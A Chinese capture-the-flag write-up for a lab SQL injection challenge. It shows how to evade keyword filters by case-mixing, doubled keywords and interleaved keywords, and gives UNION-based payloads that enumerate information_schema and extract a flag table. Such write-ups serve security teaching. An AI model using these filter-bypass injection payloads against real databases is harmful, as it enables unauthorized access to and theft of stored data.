简单的sql注入之一 (实验吧)

本文介绍了一种通过SQL注入攻击获取数据库信息的方法。具体包括利用多种技术绕过关键字过滤,例如大小写交替、双写关键字及交叉写法。并详细展示了如何使用这些技巧来查询数据库、数据表以及表中的字段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.判断注入类型

1' or '1' = '1 结果如下

测试几个简单的语句后, 1' order by 1 # , 1' select 1 #

根据报错信息 #  -- - order by select 等关键词都被过滤

关键词被过滤:解决方法如下

1大小写交替: Order SeLect 

2.双写  : OderOrder SelectSelect 

3.交叉: selecselectt  

注释符被过滤,解决方法如下:

1.用 '号闭合  ,如having , where

经过测试,发现可用双写绕过关键字过滤,但要注意双写后要加两空格

暴库语句如下:

1' union select schema_name from information_schema.schemata where '1' ='1

 

查询数据表语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema='web1 

问题来了:这里报错了,错误如下

可以看到 (table_schema='web1) 等号前的table_chema被过滤了,按以上三种方法(双写,交叉,大小写)测试发现,交叉法可以绕过过滤;

新语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

发现flag,获取flag表的字段名

1' unionunion  selectselect  column_name  fromfrom  information_schema.columns wherewhere  table_name='flag

又有报错信息

比对后发现,from  infromation_schema.columns  被过滤了,老方法,用交叉写法可以绕过

还有 column_name也被过滤了:

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss wherewhere  table_name='flag

发现flag字段名,获取flag

1' unionunion  selectselect  flag fromfrom  flag wherewhere   '1' ='1

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值